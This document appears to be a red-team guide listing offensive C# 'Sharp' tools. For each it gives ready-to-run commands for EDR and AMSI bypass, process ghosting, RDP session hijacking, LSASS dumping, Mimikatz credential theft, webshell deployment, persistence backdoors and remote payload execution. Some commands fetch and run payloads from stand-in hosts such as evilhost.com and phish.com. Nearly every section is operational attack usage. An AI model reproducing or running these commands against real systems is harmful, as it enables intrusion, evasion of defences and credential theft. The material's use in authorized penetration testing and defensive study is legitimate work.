MASTERING IMPACT WITH SHARPENING TECHNIQUES

HADESS

WWW.HADESS.IO

Follow

Mastering Impact with Sharpening Techniques(RTC0026)

Several tools with “Sharp” in their names have gained prominence. These tools are often used for their effectiveness in exploiting vulnerabilities, gathering information, and aiding in simulated cyber-attacks.

SharpGhosting

Description

SharpGhosting is a tool developed in C# that leverages the technique of Process Ghosting, which is particularly effective on 64-bit systems. This technique involves creating a process from a file that appears to be deleted, a method that can be used to bypass certain types of security checks on executable files.

Functionality

The primary function of SharpGhosting is to execute an application while evading detection mechanisms that rely on file-based scanning. It’s particularly useful in scenarios where an attacker needs to execute a payload without leaving traces on the disk. This tool is a testament to the evolving nature of executable image tampering attacks in cybersecurity.

Example Commands

To use SharpGhosting, you first need to compile it. Here are the steps and commands for compilation and usage:

- **Compile Options**:
  - Build the solution using the command:

```
  PS C:\\> C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\csc.exe /out:SharpGhost.exe /unsafe
C:\\Path\\to\\SharpGhosting\\*.cs
```

  - Alternatively, you can use the `csc.exe` from .NET v4.0.30319 for compiling.

- **Usage**:

- To execute a real executable file:

```
  PS C:\\> .\\Path\\to\\SharpGhosting.exe -real C:\\windows\\system32\\cmd.exe

```

- To use a fake file path along with a real executable:

```
  PS C:\\> .\\Path\\to\\SharpGhosting.exe -real C:\\windows\\system32\\cmd.exe -fake
C:\\windows\\temp\\fakefile

```

SharpSniper

Description

SharpSniper is a targeted tool used in Red Team engagements to locate the IP addresses of specific users within a domain, such as high-profile individuals like CEOs. This tool is particularly useful when the objective is to compromise certain key individuals rather than achieving broader domain control. SharpSniper works by querying Domain Controllers and analyzing log-on events to pinpoint the most recent DHCP allocated logon IP address of a specified user.

Functionality

SharpSniper's primary functions include:

- Querying and compiling a list of Domain Controllers within the network.
- Searching for log-on events on these Domain Controllers for a specified user.
- Reading and reporting the most recent DHCP allocated logon IP address for the user.

It's important to note that SharpSniper requires privileges to read logs on Domain Controllers. The tool can be built to target .NET Framework v3.5 if necessary.

Example Commands

- **Using cmd.exe with Credentials**:

```

  C:\\> SharpSniper.exe emusk DomainAdminUser DAPass123

```

  This command runs SharpSniper for user "emusk" using the provided domain admin credentials.

- **Using cmd.exe with Current Authentication Token**:

```

  C:\\> SharpSniper.exe emusk

```

This command utilizes the current authentication token (e.g., obtained via Mimikatz pth) to find the IP address of user “emusk”.

- **Using Cobalt Strike with Credentials**:

```
> execute-assembly /path/to/SharpSniper.exe emusk DomainAdminUser DAPass123
```

In a Cobalt Strike environment, this command executes SharpSniper with specified credentials.

- **Using Cobalt Strike with Beacon’s Token**:

```
> execute-assembly /path/to/SharpSniper.exe emusk
```

This command uses the Beacon’s token in Cobalt Strike to run SharpSniper for the specified user.

In each case, SharpSniper will output the IP address of the user, for example:

```
User: emusk - IP Address: 192.168.37.130
```

SharpRDPHijack

Description

SharpRDPHijack is a .NET/C# tool developed as a proof-of-concept for hijacking Remote Desktop Protocol (RDP) sessions, specifically targeting disconnected sessions. It’s a post-exploitation utility that allows for taking control of interactive login sessions that have been disconnected. This technique aligns with Mitre ATT&CK T1563 - Remote Service Session Hijacking: RDP Hijacking.

Background

RDP session hijacking is a technique used in cybersecurity to gain control of a user’s disconnected RDP session. This can be particularly useful in scenarios where maintaining access or escalating privileges within a network is required. SharpRDPHijack offers a programmatic approach to this technique, providing insights into the Win32 API level operations, particularly with the Wtsapi32 library.

Notes

- SharpRDPHijack is compiled using Visual Studio 2019 under .NET Framework v.4.
- Querying TS/RDP sessions may require elevated privileges.
- Hijacking a session requires administrator rights, or NT AUTHORITY\SYSTEM context, unless the target session user’s password is known.
- The tool can impersonate NT AUTHORITY\SYSTEM if no password is supplied.
- Behavior on Windows 2019 Server differs from previous OS versions, presenting unique challenges and research opportunities.

- SharpRDPHijack was created to understand Win32 API interactions and as a simpler alternative to tools like tscon.exe or Mimikatz TS.

Usage

- **Parameters**:
  - `-tsquery=<host>`: Query a host for RDP/TS session information.
  - `-session=<ID>`: Target session identifier.
  - `-password=<User's Password>`: Session password, if known.
  - `-console`: Redirect session to the console session.
  - `-disconnect`: Disconnect an active (remote) session.
- **Example Commands**:
  - **Impersonate NT AUTHORITY\SYSTEM to Hijack Session**:

```
SharpRDPHijack.exe --session=6

```

  - **Redirect to Console Session**:

```
SharpRDPHijack.exe --session=2 --console

```

  - **Hijack with Known User Password**:

```
SharpRDPHijack.exe --session=4 --password=P@ssw0rd

```

  - **Disconnect Active Session**:

```
SharpRDPHijack.exe --session=3 --disconnect

```

  - **Query Host for Session Information**:

```
SharpRDPHijack.exe --tsquery=localhost

```

SharpSocks and SharpSocksServer

Description

SharpSocks is a tunnellable HTTP/HTTPS SOCKS4a proxy written in C#. It consists of two main components: the SharpSocksServer and the client (implant side). The server is a .NET Core project with builds for Windows, Linux, and Docker, while the client is a .NET 4.0 project designed to run on the target, such as in memory in a PoshC2 implant. This tool is particularly useful for securely tunneling traffic from a compromised host to a control server.

SharpSocksServer Functionality

- Acts as a SOCKS server to listen for incoming connections from the implant.
- Supports both HTTP and HTTPS protocols.
- Offers various configuration options including encryption key, session and payload cookies, socket timeout, and verbose logging.
- TLS support with the ability to replace the default certificate for HTTPS communication.

SharpSocksServer Usage

- **Basic Command**:

```
SharpSocksServer [options]

```

- **Options**:
  - `s|--socksserveruri`: IP and port for SOCKS to listen on (default `:43334`).
  - `c|--cmdid`: Command Channel Identifier, shared with the server.
  - `l|--httpserveruri`: URI to listen on (default `http://127.0.0.1:8081`).
  - `k|--encryptionkey`: Encryption key for securing communications.
  - `sc|--sessioncookie`: Name of the cookie for the session identifier.
  - `pc|--payloadcookie`: Name of the cookie for smaller requests.
  - `st|--socketTimeout`: Duration for keeping SOCKS sockets open (default 30s).
  - `v|--verbose`: Enable verbose error logging.
  - `p|--pfxpassword`: Password for the PFX certificate if using HTTPS.

Client (Implant Side) Functionality

- Tunnels traffic from the target to the SharpSocksServer.
- Supports proxy settings, including authentication details.
- Allows configuration of command channel ID, beacon time, server URI, and more.
- Offers standalone mode for independent operation.

Client Usage

- **Basic Command**:

```
SharpSocks Proxy Client [options]

```

- **Options**:
  - `-use-proxy`: Use a proxy server.
  - `m, --proxy=VALUE`: Proxy URL (format: `http://<server>:<port>`).
  - `u, --username=VALUE`: Web proxy username.
  - `d, --domain=VALUE`: Web proxy domain.
  - `p, --password=VALUE`: Web proxy password.
  - `k, --encryption-key=VALUE`: Encryption key.

- `c, --cmd-id=VALUE`: Command Channel Id.
- `b, --beacon=VALUE`: Beacon time in milliseconds.
- `s, --server-uri=VALUE`: URI of the server.
- `-url1=VALUE`, `-url2=VALUE`: Custom pages for traffic routing.
- `-session-cookie=VALUE`, `-payload-cookie=VALUE`: Cookie names for session and payload.
- `-user-agent=VALUE`: Custom User Agent for web requests.
- `-df=VALUE`: Host header for domain fronting.
- `r, --read-time=VALUE`: Time between SOCKS proxy reads (default 500ms).
- `a, --standalone`: Run in standalone mode.

Apache Rewrite Rule (C2 Proxy)

For TLS termination and routing SOCKS URLs to a local server, Apache rewrite rules can be used:

```
Define SharpSocks 127.0.0.1:49031
RewriteRule ^/sharpsocks1/(.*) <http://$>{SharpSocks} [NC,L,P]
RewriteRule ^/sharpsocks2/(.*) <http://$>{SharpSocks} [NC,L,P]

```

SharpNoPSExec

Description

SharpNoPSExec is a tool designed for file-less command execution, primarily used in lateral movement scenarios in cybersecurity. It offers a stealthy approach to executing payloads on remote machines without touching the disk or creating a new service, thus minimizing detection risks. The tool is inspired by the PSExec method discussed in the OSEP (Offensive Security Experienced Penetration Tester) course, but it innovates by avoiding disk writes and new service creation.

Functionality

- SharpNoPSExec queries all services on the target machine and selects one that meets specific criteria: start type disabled or manual, current status stopped, and running with LocalSystem privileges.
- It temporarily modifies the selected service by changing its binary path to the user's payload.
- Executes the payload and then, after a short delay (default 5 seconds), restores the service to its original configuration.
- This process allows for executing a payload on a remote machine without leaving significant traces or creating new services.

Example Commands

- **Basic Command**:

```
  SharpNoPSExec.exe --target=192.168.56.128 --payload="c:\\windows\\system32\\cmd.exe /c powershell -exec bypass -nop -e ZQBjAGgAbwAgAEcAbwBkACAAQgBsAGUAcwBzACAAWQBvAHUAIQA="

```

  This command targets the machine at IP `192.168.56.128` and executes the specified Base64-encoded PowerShell command.

- **With Authentication**:

```
  SharpNoPSExec.exe --target=192.168.56.128 --payload="payload_command" --username=user --
password=pass --domain=domain
```

This variant includes credentials for authentication on the target machine.

- **Specifying a Service**:

```
  SharpNoPSExec.exe --target=192.168.56.128 --payload="payload_command" --service=ServiceName
```

This command specifies a particular service to be modified for payload execution.

Optional Arguments

- `-username=`: Username for authentication on the remote computer.
- `-password=`: Password for the provided username.
- `-domain=`: Domain name; if not set, a dot (.) is used.
- `-service=`: Specific service to modify for payload execution. If not specified, the program selects a random service.

SharpUnhooker

Description

SharpUnhooker is a C# based universal API unhooker designed for both offensive and defensive cybersecurity operations. It focuses on evading user-land monitoring mechanisms implemented by Antivirus (AV) software and Endpoint Detection and Response (EDR) systems. SharpUnhooker achieves this by refreshing or cleansing API DLLs loaded in the process, effectively removing API hooks. It targets key system libraries such as `ntdll.dll`, `kernel32.dll`, `advapi32.dll`, and `kernelbase.dll`. Additionally, it is equipped with capabilities to patch AMSI (Anti-Malware Scan Interface) and ETW (Event Tracing for Windows), further aiding in evasion.

Functionality

- **Unhooks API Hives**: Removes EAT (Export Address Table) hooks, IAT (Import Address Table) hooks, and JMP/Hot-patch/Inline hooks from critical system DLLs.
- **AMSI and ETW Patcher**: Disables AMSI and ETW, which are commonly used by security products for monitoring and logging.
- **Supports Various Hook Types**: Capable of handling different types of hooks including EAT, IAT, and JMP/Hot-patch/Inline.
- **Defensive and Offensive Use**: Useful for both removing malicious hooks (defensive) and evading security products (offensive).

Example Commands

- **Loading SharpUnhooker**:

- To load the pre-compiled DLL in PowerShell:

```
[Reflection.Assembly]::LoadFile("path_to_SharpUnhooker.dll")
```

- To call the Main function from the SharpUnhooker class:

```
SharpUnhooker.Main();
```

- **Using Specific Unhook Functions**:
  - For unhooking JMP/Hot-patch/Inline hooks:

```
SharpUnhooker.JMPUnhooker();
```

  - For unhooking EAT hooks:

```
SharpUnhooker.EATUnhooker();
```

  - For unhooking IAT hooks:

```
SharpUnhooker.IATUnhooker();
```

- **Testing with Local Shellcode Injector**:
  - Utilize the `UsageExample` function from the `SUUsageExample` class for testing SharpUnhooker's capabilities.

Note

- SharpUnhooker is tested on Windows 10 v21H2 x64.
- The tool's indentation may appear irregular due to the author's Sublime Text settings.
- For a comprehensive demonstration of SharpUnhooker, refer to the blog post by Reigada mentioned by the author.

SharPyShell

Description

SharPyShell is a compact and obfuscated ASP.NET webshell designed for post-exploitation activities. It executes commands received through an encrypted channel and compiles them in memory at runtime, enhancing stealth and evasion capabilities. SharPyShell is specifically tailored for C# web applications running on .NET Framework versions 2.0 and above. It does not currently support VB (Visual Basic) applications.

Functionality

- **Command Execution**: Executes commands on the server by compiling C# code in memory, avoiding disk writes.
- **Encrypted Communication**: Uses an encrypted channel for command transmission and output reception, enhancing network-level stealth.
- **In-Memory Compilation**: Compiles and executes code directly in memory, aiding in evasion of file-based detection mechanisms.
- **Support for Various Modules**: Includes modules for tasks like file download/upload, command execution, PowerShell script execution, DLL injection, lateral movement, and privilege escalation.

Usage

- **Generating the Webshell**:

```
python3 SharPyShell.py generate -p somepassword

```

  This command generates an obfuscated webshell with the specified password.

- **Interacting with the Webshell**:

```
python3 SharPyShell.py interact -u <http://target.url/sharpyshell.aspx> -p somepassword

```

  This command initiates an interaction with the deployed webshell on the target server.

Requirements

- Python version 3.6 or higher.
- Dependencies installed via:

```
pip3 install -r requirements.txt

```

Technical Diagram

SharPyShell operates in a client-server model where the client (local) interacts with the webshell (remote) through an encrypted HTTP channel. The process involves sending encrypted C# code to the server, which then compiles and executes it in memory. The server sends back the output, which is decrypted and displayed by the client.

Modules

SharPyShell includes various modules for different tasks:

- `#download`: Download files from the server.
- `#exec_cmd`: Execute cmd.exe commands.

- `#exec_ps`: Execute PowerShell commands.
- `#inject_dll_reflective`: Inject a reflective DLL into a process.
- `#inject_dll_srdi`: Inject a generic DLL into a process.
- `#inject_shellcode`: Inject shellcode into a process.
- `#invoke_ps_module`: Run PowerShell scripts.
- `#lateral_psexec`: Perform lateral movement using psexec.
- `#lateral_wmi`: Perform lateral movement using WMI.
- `#mimikatz`: Run Mimikatz in memory.
- `#net_portscan`: Conduct port scanning.
- `#privesc_juicy_potato`: Use Juicy Potato for privilege escalation.
- `#privesc_powerup`: Run PowerUp for privilege escalation assessment.
- `#runas`: Execute commands as a specific user.
- `#upload`: Upload files to the server.

SharpView

Description

SharpView is a .NET port of the popular PowerShell tool PowerView, designed for Windows domain reconnaissance and post-exploitation. It provides a wide array of functionalities to interact with Active Directory environments, gather information, and perform various administrative tasks. SharpView is particularly useful for penetration testers and red teamers who need to explore and exploit Windows domains.

Functionality

SharpView offers a comprehensive set of methods for querying and manipulating Active Directory objects and settings. Key functionalities include:

- Enumerating domain controllers, users, groups, and computers.
- Managing domain objects, including creating and modifying users and groups.
- Retrieving and modifying ACLs (Access Control Lists) for domain objects.
- Finding local admin access and group memberships.
- Gathering system and network information like logged-on users, RDP sessions, shares, and network sessions.
- Kerberoasting and other advanced attack techniques.
- Mapping domain trusts and exploring forest trusts.
- Working with Group Policy Objects (GPOs) and DNS records.

Example Commands

- **Get Domain Controller Information**:

```
  C:\\> SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential
admin@test.local/password
```

  This command retrieves information about domain controllers in the specified domain.

- **Help for a Specific Method**:

```
C:\\> SharpView.exe Get-DomainController -Help

```

Displays help information for the `Get-DomainController` method.

Available Methods

SharpView includes a wide range of methods, such as:

- `Get-DomainGPOUserLocalGroupMapping`, `Find-GPOLocation`, `Get-DomainObjectAcl`, `Add-DomainObjectAcl`, `Remove-DomainObjectAcl`
- `Get-NetRDPSession`, `Test-AdminAccess`, `Invoke-CheckLocalAdminAccess`, `Get-NetProcess`, `Get-Proxy`
- `Find-InterestingDomainAcl`, `Invoke-ACLScanner`, `Get-NetShare`, `Get-NetLocalGroup`, `Get-NetSession`
- `Invoke-Kerberoast`, `Export-PowerViewCSV`, `Find-LocalAdminAccess`, `Find-DomainShare`, `Find-DomainUserEvent`
- `Get-Domain`, `Get-NetDomain`, `Get-DomainComputer`, `Get-NetComputer`, `Get-DomainController`, `Get-NetDomainController`
- `Get-DomainUser`, `Get-NetUser`, `Get-DomainGroup`, `Get-NetGroup`, `Get-DomainSID`, `Get-Forest`, `Get-NetForest`
- `Get-DomainTrust`, `Get-NetDomainTrust`, `Get-ForestDomain`, `Get-NetForestDomain`, `Get-DomainSite`, `Get-NetSite`
- `Get-DomainGPO`, `Get-NetGPO`, `Set-DomainObject`, `Set-ADObject`, `Get-DomainPolicy`, `Get-NetGPOGroup`, and many more.

SharpBlock

Description

SharpBlock is a sophisticated tool designed to bypass Endpoint Detection and Response (EDR) systems' active protection DLLs. Developed by *@EthicalChaos*, it focuses on preventing the execution of EDR DLL entry points, thereby stopping EDR hooks from being placed. SharpBlock is particularly useful for penetration testers and red teamers who need to evade advanced security measures in a target environment.

Features

- **EDR DLL Entry Point Blocking**: Prevents the execution of EDR DLL entry points, effectively stopping EDR hooks.
- **Patchless AMSI Bypass**: Offers an undetectable method to bypass AMSI without code patches, evading runtime scanners.
- **Flexible Implant Loading**: Supports loading implants from disk, HTTP, or named pipe, including integration with Cobalt Strike.
- **Stealthy Process Hollowing**: Hides the implanted process to evade scanners looking for hollowed processes.
- **Command Line Argument Spoofing**: Spoofs command line arguments post-process creation using a stealthy EDR detection method.
- **Patchless ETW Bypass**: Includes a method to bypass Event Tracing for Windows (ETW) without patching.
- **NtProtectVirtualMemory Block**: Blocks invocations of `NtProtectVirtualMemory` when called within the range of a blocked DLL's address space.

Example Commands

- **Launching Mimikatz Over HTTP**:

```
  SharpBlock -e <http://evilhost.com/mimikatz.bin> -s c:\\windows\\system32\\notepad.exe -d "Active
Protection DLL for SylantStrike" -a coffee
```

This command launches Mimikatz from an HTTP source, using Notepad as the host process and blocking a specific EDR DLL.

- **Launching Mimikatz with Cobalt Strike Beacon**:

```
  execute-assembly SharpBlock.exe -e \\\\.\\pipe\\mimi -s c:\\windows\\system32\\notepad.exe -d
"Active Protection DLL for SylantStrike" -a coffee
  upload_file /home/haxor/mimikatz.exe \\\\.\\pipe\\mimi
```

This command uses Cobalt Strike to launch Mimikatz through a named pipe, using Notepad as the host process and blocking a specific EDR DLL.

Usage Options

- `e, --exe=VALUE`: Program to execute (default `cmd.exe`).
- `a, --args=VALUE`: Arguments for the program.
- `n, --name=VALUE`: Name of the DLL to block.
- `c, --copyright=VALUE`: Copyright string to block.
- `p, --product=VALUE`: Product string to block.
- `d, --description=VALUE`: Description string to block.
- `s, --spawn=VALUE`: Host process to spawn for swapping with the target exe.
- `ppid=VALUE`: Parent process ID for spawned child (PPID Spoofing).
- `w, --show`: Show the launched process window.
- `-disable-bypass-amsi`: Disable AMSI bypass.
- `-disable-bypass-cmdline`: Disable command line bypass.
- `-disable-bypass-etw`: Disable ETW bypass.
- `-disable-header-patch`: Disable process hollow detection bypass.
- `h, --help`: Display help information.

SharPersist

Description

SharPersist is a Windows persistence toolkit written in C# by Brett Hawkins (@h4wkst3r). It is designed to assist in the establishment and maintenance of persistence on Windows systems. SharPersist is particularly useful for penetration testers and red teamers who need to ensure continued access to a compromised system.

Features

- **Multiple Persistence Techniques**: Supports various methods like modifying registry keys, scheduled tasks, startup folder manipulation, and more.
- **Command Execution**: Allows execution of specified commands or scripts as part of the persistence mechanism.
- **Dry Run Capability**: Offers a 'check' method to perform a dry run of the persistence technique without actual implementation.
- **Environment Variable Obfuscation**: Includes an option for environment variable obfuscation in registry persistence.
- **Scheduled Task Frequency Options**: Provides add-ons for specifying the frequency of scheduled tasks (hourly, daily, logon).
- **Stealth and Evasion**: Designed to be stealthy and evade detection by security tools.

Installation/Building

- **Pre-Compiled**: Use the pre-compiled binary available in the Releases section on GitHub.
- **Building Yourself**: Can be compiled using Visual Studio with .NET libraries from the NuGet package manager. Libraries used include TaskScheduler and Fody.

Arguments/Options

- `t`: Persistence technique (e.g., `keepass`, `reg`, `schtaskbackdoor`).
- `c`: Command to execute.
- `a`: Arguments for the command (if applicable).
- `f`: File to create/modify.
- `k`: Registry key to create/modify.
- `v`: Registry value to create/modify.
- `n`: Scheduled task name or service name.
- `m`: Method (`add`, `remove`, `check`, `list`).
- `o`: Optional add-ons (e.g., `env`, `hourly`, `daily`, `logon`).
- `h`: Help page.

Example Commands

- **Adding KeePass Persistence**:

```
  SharPersist -t keepass -c "C:\\Windows\\System32\\cmd.exe" -a "/c calc.exe" -f
"C:\\Users\\username\\AppData\\Roaming\\KeePass\\KeePass.config.xml" -m add
```

- **Adding Registry Persistence with Environment Variable Obfuscation**:

```
  SharPersist -t reg -c "C:\\Windows\\System32\\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test
Stuff" -m add -o env
```

- **Removing Scheduled Task Backdoor**:

```
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
```

- **Checking Windows Service Persistence**:

```
SharPersist -t service -c "C:\\Windows\\System32\\cmd.exe" -a "/c calc.exe" -n "Some Service" -m
check
```

- **Listing Startup Folder Entries**:

```
SharPersist -t startupfolder -m list
```

SharpShooter

Description

SharpShooter is a versatile payload creation framework designed for the retrieval and execution of arbitrary CSharp source code. It is capable of generating payloads in various formats, including HTA, JS, VBS, and WSF. SharpShooter leverages James Forshaw's DotNetToJavaScript tool to invoke methods from a serialized .NET object. It supports payload retrieval via Web or DNS delivery and is compatible with the MDSec ActiveBreach PowerDNS project. SharpShooter can also generate stageless payloads with embedded shellcode execution in the same scripting formats.

Features

- **Multiple Payload Formats**: Supports HTA, JS, VBS, and WSF formats.
- **Encrypted Payloads**: Uses RC4 encryption with a random key for modest anti-virus evasion.
- **Sandbox Detection and Environment Keying**: Integrates techniques to evade detection by security software.
- **In-Memory Compilation and Invocation**: Compiles and invokes any CSharp code in memory using reflection.
- **HTML Smuggling**: Bundles payloads inside HTML files using the Demiguise HTML smuggling technique.
- **.NET Framework Targeting**: Targets v2, v3, and v4 of the .NET framework.
- **Advanced Techniques in Version 1.0**: Includes COM staging, Squiblydoo and Squiblytwo execution, and XSL execution.
- **AMSI Bypass in Version 2.0**: Adds an AMSI bypass module and support for generating VBA and Excel 4 macro-enabled documents.

Usage - Command Line Mode

```
SharpShooter is highly configurable and supports various payload types, sandbox evasions, delivery
methods, and output types. Running SharpShooter with the **`--help`** argument provides detailed usage
information.
```

Example Commands

- **Stageless JavaScript Payload**:

```
  ```css
  SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox
1=contoso,2,3

  ```

  Creates a stageless JavaScript payload targeting .NET framework v4.
```

- **Stageless HTA Payload with HTML Smuggling**:

```
  SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --
sandbox 4 --smuggle --template mcafee
```

  Generates a stageless HTA payload for .NET framework v2/3 with HTML smuggling.

- **Staged VBS Payload with Web and DNS Delivery**:

```
  ```scss
  SharpShooter.py --payload vbs --delivery both --output foo --web
<http://www.foo.bar/shellcode.payload> --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox
1=contoso --smuggle --template mcafee --dotnetver 4

  ```

  Creates a staged VBS payload that performs both Web and DNS delivery.
```

- **Custom CSharp inside VBS Payload**:

```
  ```css
  SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs
mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web
<http://www.phish.com/implant.payload> --output malicious --smuggle --template mcafee

  ```

  Demonstrates creating a staged JS payload with custom CSharp code.
```

- **Creation of a Squiblytwo VBS Payload**:

```
  ```css
  SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin -
-smuggle --template mcafee --com outlook --awlurl <http://192.168.2.8:8080/foo.xsl>

  ```

  Generates a VBS payload using Squiblytwo technique with COM staging.
```

- **Creation of an Excel 4.0 SLK Macro Enabled Document**:

```css
  SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template
mcafee

  ```

  Creates an Excel 4.0 SLK file with embedded shellcode and HTML smuggling.
```

# SharpSearch

## Description

SharpSearch is a project designed to efficiently search through file shares to locate targeted files containing specific information. It is particularly useful for quickly filtering files in large directories or network shares, making it an invaluable tool for cybersecurity professionals, system administrators, and anyone needing to perform detailed file searches.

## Functionality

- **Path Specification**: Allows users to specify the path where the search should be conducted.
- **File Type Filtering**: Supports filtering by file extensions, either by specifying extensions to include (`ext_filterlist`) or exclude (`ext_blocklist`).
- **Search Term Filtering**: Enables searching for files containing specific keywords or phrases.
- **Date Filtering**: Offers the ability to filter files based on the year they were created or modified.
- **Pattern Matching**: Can search for files based on specific patterns (e.g., `.txt`).

## Usage

- **Required Argument**:
  - `path`: The path where the search will be conducted.
- **Optional Arguments**:
  - `pattern`: Type of files to search for (e.g., `.txt`).
  - `ext_filterlist`: File extensions to include in the search.
  - `ext_blocklist`: File extensions to exclude from the search.
  - `searchterms`: Comma-delimited list of search terms.
  - `year`: Filter files by a specific year.

## Example Commands

- **Search for Files Containing a Specific Phrase**:

```
  SharpSearch.exe path="C:\\Users\\User\\My Documents" searchterms=password

```

  This command searches for all files in the specified path that contain the word “password”.

- **Search for Specific Script Types in a Network Share**:
```

```
  SharpSearch.exe path="\\\\DC01\\SYSVOL" ext_filterlist=.ps1,.bat searchterms=Administrator
year=2018
```

Searches for batch and PowerShell scripts in the SYSVOL share that were created in 2018 and contain the word “Administrator”.

Examples

- **Search for Text Files in a Specific Directory**:This example shows the output of searching for text files in a specified directory, listing the files found along with their sizes and timestamps.

```
  Directory of C:\\Users\\EXAMPLE\\hashcat-4.2.1\\wordlists
  12/12/2018 12:00:00 AM       736.78 MB 899_have-i-been-pwned-v3--v2-excluded-_found_hash_plain.txt

```

SharpCradle

Description

SharpCradle is a specialized tool designed for penetration testers and red teams to download and execute .NET binaries directly into memory. This tool is particularly useful for executing payloads without writing to disk, thereby evading detection mechanisms that rely on disk-based scanning.

Functionality

- **Web Server Download**: Downloads and executes .NET binaries from a web server.
- **File Server Download**: Supports both anonymous and authenticated downloads from file servers.
- **Inline Project File Download**: Capable of downloading .NET inline project files from the web and executing them.
- **Architecture Compatibility**: Ensures that the architecture of SharpCradle and the binary being retrieved are compatible to avoid errors.

Example Commands

- **Web Server Download**:

```
  SharpCradle.exe -w <https://IP/Evil.exe> <arguments to pass>
```

Downloads and executes a binary from a specified web server.

- **File Server Download Anonymous**:

```
  SharpCradle.exe -f \\\\IP\\share\\Evil.exe <arguments to pass>

```

Downloads and executes a binary from an anonymous file server share.

- **File Server Download With Credentials**:

```
SharpCradle.exe -f -c domain username password \\\\IP\\share\\Evil.exe <arguments to pass>

```

Downloads and executes a binary from a file server share using specified credentials.

- **Download .NET Inline Project File**:

```
SharpCradle.exe -p <https://192.168.1.10/EvilProject.csproj>
```

Downloads and executes a .NET inline project file from a web server.

Additional Information

SharpCradle is an effective tool for executing remote payloads in memory, making it a valuable asset in the toolkit of penetration testers and red teamers. The tool's ability to execute code without touching the disk enhances its stealth and evasion capabilities.

For more information, updates, and contributions, visit the GitHub repository: SharpCradle on GitHub.

SharpDump

Description

SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality. It uses the MiniDumpWriteDump Win32 API call to create a minidump of a specified process (defaulting to LSASS). The dump is then compressed using GZipStream and stored in .gz format, with the original minidump file being deleted afterward.

Functionality

- **Minidump Creation**: Creates a minidump of a specified process.
- **Default Target LSASS**: Targets the LSASS process by default, useful for credential dumping.
- **Compression**: Compresses the minidump file to .gz format for reduced size and easier exfiltration.
- **Clean Up**: Automatically deletes the original minidump file after compression.

Usage

- **Dump LSASS**:

```

C:\\Temp>SharpDump.exe

```

Dumps the LSASS process to a minidump file, compresses it, and cleans up.

- **Dump a Specific Process ID**:

```
C:\\Temp>SharpDump.exe 8700
```

Dumps the specified process (in this case, with PID 8700) to a minidump file.

SharpSploitConsole

Description

SharpSploitConsole is a console application designed to interact with SharpSploit, a comprehensive .NET post-exploitation library created by @cobbr_io. It serves as a proof of concept to demonstrate how penetration testers or red teams with limited C# experience can utilize the functionalities of SharpSploit. SharpSploitConsole allows embedding of both SharpSploit.dll and System.Management.Automation.dll into a single executable, facilitating easy deployment and execution on target systems.

Functionality

- **Interactive Console Mode**: Offers a pseudo-interactive shell for executing various commands.
- **Mimikatz Integration**: Includes functionalities for executing Mimikatz commands.
- **System Impersonation**: Allows impersonation of system users and processes.
- **UAC Bypass**: Capable of bypassing User Account Control.
- **Registry Manipulation**: Provides functionalities for reading and writing to the registry.
- **Network Information Gathering**: Can retrieve information about local groups, logged-on users, and user sessions remotely.
- **Domain Enumeration**: Supports enumeration of domain users, groups, and computers.
- **Kerberoasting**: Performs kerberoasting attacks against targeted user objects in a domain.
- **Remote Command Execution**: Facilitates command execution remotely via WMI and DCOM.

Example Commands

- **Start Interactive Console Mode**:

```
Interact
```

- **Execute Mimikatz Command**:

```
Mimi-Command privilege::debug sekurlsa::logonPasswords
```

- **Impersonate System User**:

```
GetSystem
```

- **Bypass UAC**:

```
BypassUAC cmd.exe ipconfig C:\\Windows\\System32\\
```

- **Retrieve Registry Path Value**:

```
ReadRegistry HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\COM3\\BuildNumber
```

- **Remote Command Execution via WMI**:

```
WMI computer1 domain\\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
```

SharpWMI

Description

SharpWMI is a C# implementation of various Windows Management Instrumentation (WMI) functionalities. Authored by @harmj0y, it includes capabilities for local and remote WMI queries, remote process creation, and execution of arbitrary VBS scripts through WMI event subscriptions. It also supports the use of alternate credentials for remote operations.

Functionality

- **Local and Remote WMI Queries**: Executes WMI queries both locally and on remote systems.
- **Remote Process Creation**: Creates processes remotely using the `win32_process` class.
- **Remote VBS Execution**: Executes arbitrary VBS scripts remotely through WMI event subscriptions.
- **Alternate Credentials Support**: Allows specifying different credentials for remote operations.

Usage

- **Local System Enumeration**:

```

SharpWMI.exe action=query query="select * from win32_service"

```

- **Remote System Enumeration**:

```

SharpWMI.exe action=query computername=HOST1 query="select * from win32_service"

```

- **Remote Process Creation**:

```
SharpWMI.exe action=create computername=HOST command="C:\\temp\\process.exe [args]"
```

- **Remote VBS Execution**:

```
SharpWMI.exe action=executevbs computername=HOST

```

Examples

- **Query Win32 Process**:

```
SharpWMI.exe action=query query="select * from win32_process"

```

- **Remote Query for AntiVirus Products**:

```
SharpWMI.exe action=query computername=primary.testlab.local query="SELECT * FROM AntiVirusProduct"
namespace="root\\SecurityCenter2"

```

- **Remote Command Execution**:

```
SharpWMI.exe action=create computername=primary.testlab.local command="powershell.exe -enc ZQBj..."

```

SharpWMI provides a powerful set of tools for interacting with WMI, making it a valuable asset for system administrators, penetration testers, and red teamers.

SharpSCCM

Description

SharpSCCM is a post-exploitation tool tailored for Microsoft Endpoint Configuration Manager (formerly SCCM). It is designed for credential gathering and lateral movement without needing access to the SCCM administration console GUI. SharpSCCM is particularly useful in demonstrating the impact of SCCM configurations that lack recommended security settings.

Features

- **User Location and Lateral Movement**: Functions ported from PowerSCCM for identifying user locations and facilitating lateral movements.
- **NTLM Authentication Requests**: Capable of requesting NTLM authentication from SCCM clients.
- **Credential Gathering**: Gathers Network Access Accounts (NAAs) credentials.
- **Unobfuscating NAAs**: Ability to request and decode NAAs.
- **Abuse of SCCM Attack Primitives**: Exploits SCCM servers in sites with automatic site-wide client push installation enabled, potentially leading to SCCM takeover.
